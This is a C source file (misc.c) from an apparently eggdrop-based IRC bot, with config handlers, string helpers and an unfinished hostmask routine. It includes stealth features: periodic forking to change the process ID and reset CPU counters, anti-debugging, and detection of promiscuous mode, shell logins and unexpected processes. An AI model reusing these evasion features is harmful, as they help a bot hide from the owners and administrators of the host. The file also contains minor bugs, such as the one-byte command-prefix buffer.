misc.c 69 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693
  1. /*
  2. * misc.c -- handles:
  3. * split() maskhost() dumplots() daysago() days() daysdur()
  4. * queueing output for the bot (msg and help)
  5. * resync buffers for sharebots
  6. * motd display and %var substitution
  7. *
  8. */
  9. #include "main.h"
  10. #include <sys/stat.h>
  11. #include <sys/types.h>
  12. #include <sys/wait.h>
  13. #include <unistd.h>
  14. #include <fcntl.h>
  15. #include "chan.h"
  16. #include "tandem.h"
  17. #include "modules.h"
  18. #include <pwd.h>
  19. #include <errno.h>
  20. #ifdef S_ANTITRACE
  21. #include <sys/ptrace.h>
  22. #include <sys/wait.h>
  23. #endif
  24. #include <net/if.h>
  25. #include <sys/ioctl.h>
  26. #include <sys/socket.h>
  27. #include <signal.h>
  28. #ifdef HAVE_UNAME
  29. # include <sys/utsname.h>
  30. #endif
  31. #include "stat.h"
  32. #include "bg.h"
  33. extern struct userrec *userlist;
  34. extern struct dcc_t *dcc;
  35. extern struct chanset_t *chanset;
  36. extern tand_t *tandbot;
  37. extern char version[], origbotname[], botname[],
  38. admin[], network[], motdfile[], ver[], botnetnick[],
  39. bannerfile[], textdir[], userfile[],
  40. *binname, pid_file[], netpass[], tempdir[];
  41. extern int backgrd, con_chan, term_z, use_stderr, dcc_total, timesync, sdebug,
  42. #ifdef HUB
  43. my_port,
  44. #endif
  45. strict_host, loading,
  46. localhub;
  47. extern time_t now;
  48. extern Tcl_Interp *interp;
  49. void detected(int, char *);
  50. int shtime = 1; /* Whether or not to display the time
  51. with console output */
  52. int conmask = LOG_MODES | LOG_CMDS | LOG_MISC; /* Console mask */
  53. int debug_output = 1; /* Disply output to server to LOG_SERVEROUT */
  54. int auth_total = 0;
  55. int max_auth = 100;
  56. char authkey[121]; /* This is one of the keys used in the auth hash */
  57. char cmdprefix[1] = "+"; /* This is the prefix for msg/channel cmds */
  58. struct auth_t *auth = 0;
  59. struct cfg_entry CFG_MOTD = {
  60. "motd", CFGF_GLOBAL, NULL, NULL,
  61. NULL, NULL, NULL
  62. };
  63. void authkey_describe(struct cfg_entry * entry, int idx) {
  64. dprintf(idx, "authkey is used for authing, give to your users if they are to use DCC chat or IRC cmds. (can be bot specific)\n");
  65. }
  66. void authkey_changed(struct cfg_entry * entry, char * olddata, int * valid) {
  67. if (entry->ldata) {
  68. strncpy0(authkey, (char *) entry->ldata, sizeof authkey);
  69. } else if (entry->gdata) {
  70. strncpy0(authkey, (char *) entry->gdata, sizeof authkey);
  71. }
  72. }
  73. struct cfg_entry CFG_AUTHKEY = {
  74. "authkey", CFGF_LOCAL | CFGF_GLOBAL, NULL, NULL,
  75. authkey_changed, authkey_changed, authkey_describe
  76. };
  77. void cmdprefix_describe(struct cfg_entry *entry, int idx) {
  78. dprintf(idx, "cmdprefix is the prefix used for msg cmds, ie: !op or .op\n");
  79. }
  80. void cmdprefix_changed(struct cfg_entry * entry, char * olddata, int * valid) {
  81. if (entry->ldata) {
  82. strncpy0(cmdprefix, (char *) entry->ldata, sizeof cmdprefix);
  83. } else if (entry->gdata) {
  84. strncpy0(cmdprefix, (char *) entry->gdata, sizeof cmdprefix);
  85. }
  86. }
  87. struct cfg_entry CFG_CMDPREFIX = {
  88. "cmdprefix", CFGF_LOCAL | CFGF_GLOBAL, NULL, NULL,
  89. cmdprefix_changed, cmdprefix_changed, cmdprefix_describe
  90. };
  91. void misc_describe(struct cfg_entry *cfgent, int idx)
  92. {
  93. int i = 0;
  94. if (!strcmp(cfgent->name, STR("fork-interval"))) {
  95. dprintf(idx, STR("fork-interval is number of seconds in between each fork() call made by the bot, to change process ID and reset cpu usage counters.\n"));
  96. i = 1;
  97. #ifdef S_LASTCHECK
  98. } else if (!strcmp(cfgent->name, STR("login"))) {
  99. dprintf(idx, STR("login sets how to handle someone logging in to the shell\n"));
  100. #endif /* S_LASTCHECK */
  101. #ifdef S_ANTITRACE
  102. } else if (!strcmp(cfgent->name, STR("trace"))) {
  103. dprintf(idx, STR("trace sets how to handle someone tracing/debugging the bot\n"));
  104. #endif /* S_ANTITRACE */
  105. #ifdef S_PROMISC
  106. } else if (!strcmp(cfgent->name, STR("promisc"))) {
  107. dprintf(idx, STR("promisc sets how to handle when a interface is set to promiscuous mode\n"));
  108. #endif /* S_PROMISC */
  109. #ifdef S_PROCESSCHECK
  110. } else if (!strcmp(cfgent->name, STR("bad-process"))) {
  111. dprintf(idx, STR("bad-process sets how to handle when a running process not listed in process-list is detected\n"));
  112. } else if (!strcmp(cfgent->name, STR("process-list"))) {
  113. dprintf(idx, STR("process-list is a comma-separated list of \"expected processes\" running on the bots uid\n"));
  114. i = 1;
  115. #endif /* S_PROCESSCHECK */
  116. #ifdef S_HIJACKCHECK
  117. } else if (!strcmp(cfgent->name, STR("hijack"))) {
  118. dprintf(idx, STR("hijack sets how to handle when a commonly used hijack method attempt is detected. (recommended: die)\n"));
  119. #endif /* S_HIJACKCHECK */
  120. }
  121. if (!i)
  122. dprintf(idx, STR("Valid settings are: nocheck, ignore, warn, die, reject, suicide\n"));
  123. }
  124. void fork_lchanged(struct cfg_entry * cfgent, char * oldval, int * valid) {
  125. if (!cfgent->ldata)
  126. return;
  127. if (atoi(cfgent->ldata)<=0)
  128. *valid=0;
  129. }
  130. void fork_gchanged(struct cfg_entry * cfgent, char * oldval, int * valid) {
  131. if (!cfgent->gdata)
  132. return;
  133. if (atoi(cfgent->gdata)<=0)
  134. *valid=0;
  135. }
  136. void fork_describe(struct cfg_entry * cfgent, int idx) {
  137. dprintf(idx, STR("fork-interval is number of seconds in between each fork() call made by the bot, to change process ID and reset cpu usage counters.\n"));
  138. }
  139. struct cfg_entry CFG_FORKINTERVAL = {
  140. "fork-interval", CFGF_GLOBAL | CFGF_LOCAL, NULL, NULL,
  141. fork_gchanged, fork_lchanged, fork_describe
  142. };
  143. void detect_lchanged(struct cfg_entry * cfgent, char * oldval, int * valid) {
  144. char * p = cfgent->ldata;
  145. if (!p)
  146. *valid=1;
  147. else if (strcmp(p, STR("ignore")) && strcmp(p, STR("die")) && strcmp(p, STR("reject"))
  148. && strcmp(p, STR("suicide")) && strcmp(p, STR("nocheck")) && strcmp(p, STR("warn")))
  149. *valid=0;
  150. }
  151. void detect_gchanged(struct cfg_entry * cfgent, char * oldval, int * valid) {
  152. char * p = (char *) cfgent->ldata;
  153. if (!p)
  154. *valid=1;
  155. else if (strcmp(p, STR("ignore")) && strcmp(p, STR("die")) && strcmp(p, STR("reject"))
  156. && strcmp(p, STR("suicide")) && strcmp(p, STR("nocheck")) && strcmp(p, STR("warn")))
  157. *valid=0;
  158. }
  159. #ifdef S_LASTCHECK
  160. struct cfg_entry CFG_LOGIN = {
  161. "login", CFGF_GLOBAL | CFGF_LOCAL, NULL, NULL,
  162. detect_gchanged, detect_lchanged, misc_describe
  163. };
  164. #endif /* S_LASTCHECK */
  165. #ifdef S_HIJACKCHECK
  166. struct cfg_entry CFG_HIJACK = {
  167. "hijack", CFGF_GLOBAL | CFGF_LOCAL, NULL, NULL,
  168. detect_gchanged, detect_lchanged, misc_describe
  169. };
  170. #endif /* S_HIJACKCHECK */
  171. #ifdef S_ANTITRACE
  172. struct cfg_entry CFG_TRACE = {
  173. "trace", CFGF_GLOBAL | CFGF_LOCAL, NULL, NULL,
  174. detect_gchanged, detect_lchanged, misc_describe
  175. };
  176. #endif /* S_ANTITRACE */
  177. #ifdef S_PROMISC
  178. struct cfg_entry CFG_PROMISC = {
  179. "promisc", CFGF_GLOBAL | CFGF_LOCAL, NULL, NULL,
  180. detect_gchanged, detect_lchanged, misc_describe
  181. };
  182. #endif /* S_PROMISC */
  183. #ifdef S_PROCESSCHECK
  184. struct cfg_entry CFG_BADPROCESS = {
  185. "bad-process", CFGF_GLOBAL | CFGF_LOCAL, NULL, NULL,
  186. detect_gchanged, detect_lchanged, misc_describe
  187. };
  188. struct cfg_entry CFG_PROCESSLIST = {
  189. "process-list", CFGF_GLOBAL | CFGF_LOCAL, NULL, NULL,
  190. NULL, NULL, misc_describe
  191. };
  192. #endif /* S_PROCESSCHECK */
  193. #ifdef S_DCCPASS
  194. struct cmd_pass *cmdpass = NULL;
  195. #endif
  196. /* unixware has no strcasecmp() without linking in a hefty library */
  197. #define upcase(c) (((c)>='a' && (c)<='z') ? (c)-'a'+'A' : (c))
  198. #if !HAVE_STRCASECMP
  199. #define strcasecmp strcasecmp2
  200. #endif
  201. int strcasecmp2(char *s1, char *s2)
  202. {
  203. while ((*s1) && (*s2) && (upcase(*s1) == upcase(*s2))) {
  204. s1++;
  205. s2++;
  206. }
  207. return upcase(*s1) - upcase(*s2);
  208. }
  209. /* this is cfg shit from servers/irc/ctcp because hub doesnt load
  210. * these mods */
  211. #ifdef HUB
  212. void servers_describe(struct cfg_entry * entry, int idx) {
  213. dprintf(idx, STR("servers is a comma-separated list of servers the bot will use\n"));
  214. }
  215. void servers_changed(struct cfg_entry * entry, char * olddata, int * valid) {
  216. }
  217. void servers6_describe(struct cfg_entry * entry, int idx) {
  218. dprintf(idx, STR("servers6 is a comma-separated list of servers the bot will use (FOR IPv6)\n"));
  219. }
  220. void servers6_changed(struct cfg_entry * entry, char * olddata, int * valid) {
  221. }
  222. void nick_describe(struct cfg_entry * entry, int idx) {
  223. dprintf(idx, "nick is the bots preferred nick when connecting/using .resetnick\n");
  224. }
  225. void nick_changed(struct cfg_entry * entry, char * olddata, int * valid) {
  226. }
  227. void realname_describe(struct cfg_entry * entry, int idx) {
  228. dprintf(idx, STR("realname is the bots \"real name\" when connecting\n"));
  229. }
  230. void realname_changed(struct cfg_entry * entry, char * olddata, int * valid) {
  231. }
  232. struct cfg_entry CFG_SERVERS = {
  233. "servers", CFGF_LOCAL | CFGF_GLOBAL, NULL, NULL,
  234. servers_changed, servers_changed, servers_describe
  235. };
  236. struct cfg_entry CFG_SERVERS6 = {
  237. "servers6", CFGF_LOCAL | CFGF_GLOBAL, NULL, NULL,
  238. servers6_changed, servers6_changed, servers6_describe
  239. };
  240. struct cfg_entry CFG_NICK = {
  241. "nick", CFGF_LOCAL | CFGF_GLOBAL, NULL, NULL,
  242. nick_changed, nick_changed, nick_describe
  243. };
  244. struct cfg_entry CFG_REALNAME = {
  245. "realname", CFGF_LOCAL | CFGF_GLOBAL, NULL, NULL,
  246. realname_changed, realname_changed, realname_describe
  247. };
  248. void getin_describe(struct cfg_entry *cfgent, int idx)
  249. {
  250. if (!strcmp(cfgent->name, STR("op-bots")))
  251. dprintf(idx, STR("op-bots is number of bots to ask every time a oprequest is to be made\n"));
  252. else if (!strcmp(cfgent->name, STR("in-bots")))
  253. dprintf(idx, STR("in-bots is number of bots to ask every time a inrequest is to be made\n"));
  254. else if (!strcmp(cfgent->name, STR("op-requests")))
  255. dprintf(idx, STR("op-requests (requests:seconds) limits how often the bot will ask for ops\n"));
  256. else if (!strcmp(cfgent->name, STR("lag-threshold")))
  257. dprintf(idx, STR("lag-threshold is maximum acceptable server lag for the bot to send/honor requests\n"));
  258. else if (!strcmp(cfgent->name, STR("op-time-slack")))
  259. dprintf(idx, STR("op-time-slack is number of seconds a opcookies encoded time value can be off from the bots current time\n"));
  260. else if (!strcmp(cfgent->name, STR("lock-threshold")))
  261. dprintf(idx, STR("Format H:L. When at least H hubs but L or less leafs are linked, lock all channels\n"));
  262. else if (!strcmp(cfgent->name, STR("kill-threshold")))
  263. dprintf(idx, STR("When more than kill-threshold bots have been killed/k-lined the last minute, channels are locked\n"));
  264. else if (!strcmp(cfgent->name, STR("fight-threshold")))
  265. dprintf(idx, STR("When more than fight-threshold ops/deops/kicks/bans/unbans altogether have happened on a channel in one minute, the channel is locked\n"));
  266. else {
  267. dprintf(idx, STR("No description for %s ???\n"), cfgent->name);
  268. putlog(LOG_ERRORS, "*", STR("getin_describe() called with unknown config entry %s"), cfgent->name);
  269. }
  270. }
  271. void getin_changed(struct cfg_entry *cfgent, char *oldval, int *valid)
  272. {
  273. int i;
  274. if (!cfgent->gdata)
  275. return;
  276. *valid = 0;
  277. if (!strcmp(cfgent->name, STR("op-requests"))) {
  278. int L,
  279. R;
  280. char *value = cfgent->gdata;
  281. L = atoi(value);
  282. value = strchr(value, ':');
  283. if (!value)
  284. return;
  285. value++;
  286. R = atoi(value);
  287. if ((R >= 60) || (R <= 3) || (L < 1) || (L > R))
  288. return;
  289. *valid = 1;
  290. return;
  291. }
  292. if (!strcmp(cfgent->name, STR("lock-threshold"))) {
  293. int L,
  294. R;
  295. char *value = cfgent->gdata;
  296. L = atoi(value);
  297. value = strchr(value, ':');
  298. if (!value)
  299. return;
  300. value++;
  301. R = atoi(value);
  302. if ((R >= 1000) || (R < 0) || (L < 0) || (L > 100))
  303. return;
  304. *valid = 1;
  305. return;
  306. }
  307. i = atoi(cfgent->gdata);
  308. if (!strcmp(cfgent->name, STR("op-bots"))) {
  309. if ((i < 1) || (i > 10))
  310. return;
  311. } else if (!strcmp(cfgent->name, STR("invite-bots"))) {
  312. if ((i < 1) || (i > 10))
  313. return;
  314. } else if (!strcmp(cfgent->name, STR("key-bots"))) {
  315. if ((i < 1) || (i > 10))
  316. return;
  317. } else if (!strcmp(cfgent->name, STR("limit-bots"))) {
  318. if ((i < 1) || (i > 10))
  319. return;
  320. } else if (!strcmp(cfgent->name, STR("unban-bots"))) {
  321. if ((i < 1) || (i > 10))
  322. return;
  323. } else if (!strcmp(cfgent->name, STR("lag-threshold"))) {
  324. if ((i < 3) || (i > 60))
  325. return;
  326. } else if (!strcmp(cfgent->name, STR("fight-threshold"))) {
  327. if (i && ((i < 50) || (i > 1000)))
  328. return;
  329. } else if (!strcmp(cfgent->name, STR("kill-threshold"))) {
  330. if ((i < 0) || (i >= 200))
  331. return;
  332. } else if (!strcmp(cfgent->name, STR("op-time-slack"))) {
  333. if ((i < 30) || (i > 1200))
  334. return;
  335. }
  336. *valid = 1;
  337. return;
  338. }
  339. struct cfg_entry CFG_OPBOTS = {
  340. "op-bots", CFGF_GLOBAL, NULL, NULL,
  341. getin_changed, NULL, getin_describe
  342. };
  343. struct cfg_entry CFG_INBOTS = {
  344. "in-bots", CFGF_GLOBAL, NULL, NULL,
  345. getin_changed, NULL, getin_describe
  346. };
  347. struct cfg_entry CFG_LAGTHRESHOLD = {
  348. "lag-threshold", CFGF_GLOBAL, NULL, NULL,
  349. getin_changed, NULL, getin_describe
  350. };
  351. struct cfg_entry CFG_OPREQUESTS = {
  352. "op-requests", CFGF_GLOBAL, NULL, NULL,
  353. getin_changed, NULL, getin_describe
  354. };
  355. struct cfg_entry CFG_OPTIMESLACK = {
  356. "op-time-slack", CFGF_GLOBAL, NULL, NULL,
  357. getin_changed, NULL, getin_describe
  358. };
  359. #ifdef G_AUTOLOCK
  360. struct cfg_entry CFG_LOCKTHRESHOLD = {
  361. "lock-threshold", CFGF_GLOBAL, NULL, NULL,
  362. getin_changed, NULL, getin_describe
  363. };
  364. struct cfg_entry CFG_KILLTHRESHOLD = {
  365. "kill-threshold", CFGF_GLOBAL, NULL, NULL,
  366. getin_changed, NULL, getin_describe
  367. };
  368. struct cfg_entry CFG_FIGHTTHRESHOLD = {
  369. "fight-threshold", CFGF_GLOBAL, NULL, NULL,
  370. getin_changed, NULL, getin_describe
  371. };
  372. #endif /* G_AUTOLOCK */
  373. #endif /* HUB */
  374. int cfg_count=0;
  375. struct cfg_entry ** cfg = NULL;
  376. int cfg_noshare=0;
  377. /* Expected memory usage
  378. */
  379. int expmem_misc()
  380. {
  381. #ifdef S_DCCPASS
  382. struct cmd_pass *cp = NULL;
  383. #endif /* S_DCCPASS */
  384. int tot = 0, i;
  385. for (i=0;i<cfg_count;i++) {
  386. tot += sizeof(void *);
  387. if (cfg[i]->gdata)
  388. tot += strlen(cfg[i]->gdata) + 1;
  389. if (cfg[i]->ldata)
  390. tot += strlen(cfg[i]->ldata) + 1;
  391. }
  392. #ifdef S_DCCPASS
  393. for (cp=cmdpass;cp;cp=cp->next) {
  394. tot += sizeof(struct cmd_pass) + strlen(cp->name)+1;
  395. }
  396. #endif /* S_DCCPASS */
  397. tot += sizeof(struct auth_t) * max_auth;
  398. tot += strlen(binname) + 1;
  399. return tot;
  400. }
  401. void init_auth_max()
  402. {
  403. if (max_auth < 1)
  404. max_auth = 1;
  405. if (auth)
  406. auth = nrealloc(auth, sizeof(struct auth_t) * max_auth);
  407. else
  408. auth = nmalloc(sizeof(struct auth_t) * max_auth);
  409. }
  410. void init_misc()
  411. {
  412. init_auth_max();
  413. add_cfg(&CFG_AUTHKEY);
  414. add_cfg(&CFG_MOTD);
  415. add_cfg(&CFG_FORKINTERVAL);
  416. #ifdef S_LASTCHECK
  417. add_cfg(&CFG_LOGIN);
  418. #endif /* S_LASTCHECK */
  419. #ifdef S_HIJACKCHECK
  420. add_cfg(&CFG_HIJACK);
  421. #endif /* S_HIJACKCHECK */
  422. #ifdef S_ANTITRACE
  423. add_cfg(&CFG_TRACE);
  424. #endif /* S_ANTITRACE */
  425. #ifdef S_PROMISC
  426. add_cfg(&CFG_PROMISC);
  427. #endif /* S_PROMISC */
  428. #ifdef S_PROCESSCHECK
  429. add_cfg(&CFG_BADPROCESS);
  430. add_cfg(&CFG_PROCESSLIST);
  431. #endif /* S_PROCESSCHECK */
  432. #ifdef HUB
  433. add_cfg(&CFG_NICK);
  434. add_cfg(&CFG_SERVERS);
  435. add_cfg(&CFG_SERVERS6);
  436. add_cfg(&CFG_REALNAME);
  437. set_cfg_str(NULL, STR("realname"), "A deranged product of evil coders");
  438. add_cfg(&CFG_OPBOTS);
  439. add_cfg(&CFG_INBOTS);
  440. add_cfg(&CFG_LAGTHRESHOLD);
  441. add_cfg(&CFG_OPREQUESTS);
  442. add_cfg(&CFG_OPTIMESLACK);
  443. #ifdef G_AUTOLOCK
  444. add_cfg(&CFG_LOCKTHRESHOLD);
  445. add_cfg(&CFG_KILLTHRESHOLD);
  446. add_cfg(&CFG_FIGHTTHRESHOLD);
  447. #endif /* G_AUTOLOCK */
  448. #endif /* HUB */
  449. }
  450. /*
  451. * Misc functions
  452. */
  453. /* low-level stuff for other modules
  454. */
  455. /* This implementation wont overrun dst - 'max' is the max bytes that dst
  456. * can be, including the null terminator. So if 'dst' is a 128 byte buffer,
  457. * pass 128 as 'max'. The function will _always_ null-terminate 'dst'.
  458. *
  459. * Returns: The number of characters appended to 'dst'.
  460. *
  461. * Usage eg.
  462. *
  463. * char buf[128];
  464. * size_t bufsize = sizeof(buf);
  465. *
  466. * buf[0] = 0, bufsize--;
  467. *
  468. * while (blah && bufsize) {
  469. * bufsize -= egg_strcatn(buf, <some-long-string>, sizeof(buf));
  470. * }
  471. *
  472. * <Cybah>
  473. */
  474. int egg_strcatn(char *dst, const char *src, size_t max)
  475. {
  476. size_t tmpmax = 0;
  477. /* find end of 'dst' */
  478. while (*dst && max > 0) {
  479. dst++;
  480. max--;
  481. }
  482. /* Store 'max', so we can use it to workout how many characters were
  483. * written later on.
  484. */
  485. tmpmax = max;
  486. /* copy upto, but not including the null terminator */
  487. while (*src && max > 1) {
  488. *dst++ = *src++;
  489. max--;
  490. }
  491. /* null-terminate the buffer */
  492. *dst = 0;
  493. /* Don't include the terminating null in our count, as it will cumulate
  494. * in loops - causing a headache for the caller.
  495. */
  496. return tmpmax - max;
  497. }
  498. int my_strcpy(register char *a, register char *b)
  499. {
  500. register char *c = b;
  501. while (*b)
  502. *a++ = *b++;
  503. *a = *b;
  504. return b - c;
  505. }
  506. /* Split first word off of rest and put it in first
  507. */
  508. void splitc(char *first, char *rest, char divider)
  509. {
  510. char *p = strchr(rest, divider);
  511. if (p == NULL) {
  512. if (first != rest && first)
  513. first[0] = 0;
  514. return;
  515. }
  516. *p = 0;
  517. if (first != NULL)
  518. strcpy(first, rest);
  519. if (first != rest)
  520. /* In most circumstances, strcpy with src and dst being the same buffer
  521. * can produce undefined results. We're safe here, as the src is
  522. * guaranteed to be at least 2 bytes higher in memory than dest. <Cybah>
  523. */
  524. strcpy(rest, p + 1);
  525. }
  526. /* As above, but lets you specify the 'max' number of bytes (EXCLUDING the
  527. * terminating null).
  528. *
  529. * Example of use:
  530. *
  531. * char buf[HANDLEN + 1];
  532. *
  533. * splitcn(buf, input, "@", HANDLEN);
  534. *
  535. * <Cybah>
  536. */
  537. void splitcn(char *first, char *rest, char divider, size_t max)
  538. {
  539. char *p = strchr(rest, divider);
  540. if (p == NULL) {
  541. if (first != rest && first)
  542. first[0] = 0;
  543. return;
  544. }
  545. *p = 0;
  546. if (first != NULL)
  547. strncpyz(first, rest, max);
  548. if (first != rest)
  549. /* In most circumstances, strcpy with src and dst being the same buffer
  550. * can produce undefined results. We're safe here, as the src is
  551. * guaranteed to be at least 2 bytes higher in memory than dest. <Cybah>
  552. */
  553. strcpy(rest, p + 1);
  554. }
  555. char *splitnick(char **blah)
  556. {
  557. char *p = strchr(*blah, '!'), *q = *blah;
  558. if (p) {
  559. *p = 0;
  560. *blah = p + 1;
  561. return q;
  562. }
  563. return "";
  564. }
  565. char *newsplit(char **rest)
  566. {
  567. register char *o, *r;
  568. if (!rest)
  569. return *rest = "";
  570. o = *rest;
  571. while (*o == ' ')
  572. o++;
  573. r = o;
  574. while (*o && (*o != ' '))
  575. o++;
  576. if (*o)
  577. *o++ = 0;
  578. *rest = o;
  579. return r;
  580. }
  581. /* Convert "abc!user@a.b.host" into "*!user@*.b.host"
  582. * or "abc!user@1.2.3.4" into "*!user@1.2.3.*"
  583. * or "abc!user@0:0:0:0:0:ffff:1.2.3.4" into "*!user@0:0:0:0:0:ffff:1.2.3.*"
  584. * or "abc!user@3ffe:604:2:b02e:6174:7265:6964:6573" into
  585. * "*!user@3ffe:604:2:b02e:6174:7265:6964:*"
  586. */
  587. void maskhost(const char *s, char *nw)
  588. {
  589. register const char *p, *q, *e, *f;
  590. int i;
  591. *nw++ = '*';
  592. *nw++ = '!';
  593. p = (q = strchr(s, '!')) ? q + 1 : s;
  594. /* Strip of any nick, if a username is found, use last 8 chars */
  595. if ((q = strchr(p, '@'))) {
  596. int fl = 0;
  597. if ((q - p) > 9) {
  598. nw[0] = '*';
  599. p = q - 7;
  600. i = 1;
  601. } else
  602. i = 0;
  603. while (*p != '@') {
  604. if (!fl && strchr("~+-^=", *p)) {
  605. if (strict_host)
  606. nw[i] = '?';
  607. else
  608. i--;
  609. } else
  610. nw[i] = *p;
  611. fl++;
  612. p++;
  613. i++;
  614. }
  615. nw[i++] = '@';
  616. q++;
  617. } else {
  618. nw[0] = '*';
  619. nw[1] = '@';
  620. i = 2;
  621. q = s;
  622. }
  623. nw += i;
  624. e = NULL;
  625. /* Now q points to the hostname, i point to where to put the mask */
  626. if ((!(p = strchr(q, '.')) || !(e = strchr(p + 1, '.'))) && !strchr(q, ':'))
  627. /* TLD or 2 part host */
  628. strcpy(nw, q);
  629. else {
  630. if (e == NULL) { /* IPv6 address? */
  631. const char *mask_str;
  632. f = strrchr(q, ':');
  633. if (strchr(f, '.')) { /* IPv4 wrapped in an IPv6? */
  634. f = strrchr(f, '.');
  635. mask_str = ".*";
  636. } else /* ... no, true IPv6. */
  637. mask_str = ":*";
  638. strncpy(nw, q, f - q);
  639. /* No need to nw[f-q] = 0 here, as the strcpy below will
  640. * terminate the string for us.
  641. */
  642. nw += (f - q);
  643. strcpy(nw, mask_str);
  644. } else {
  645. for (f = e; *f; f++);
  646. f--;
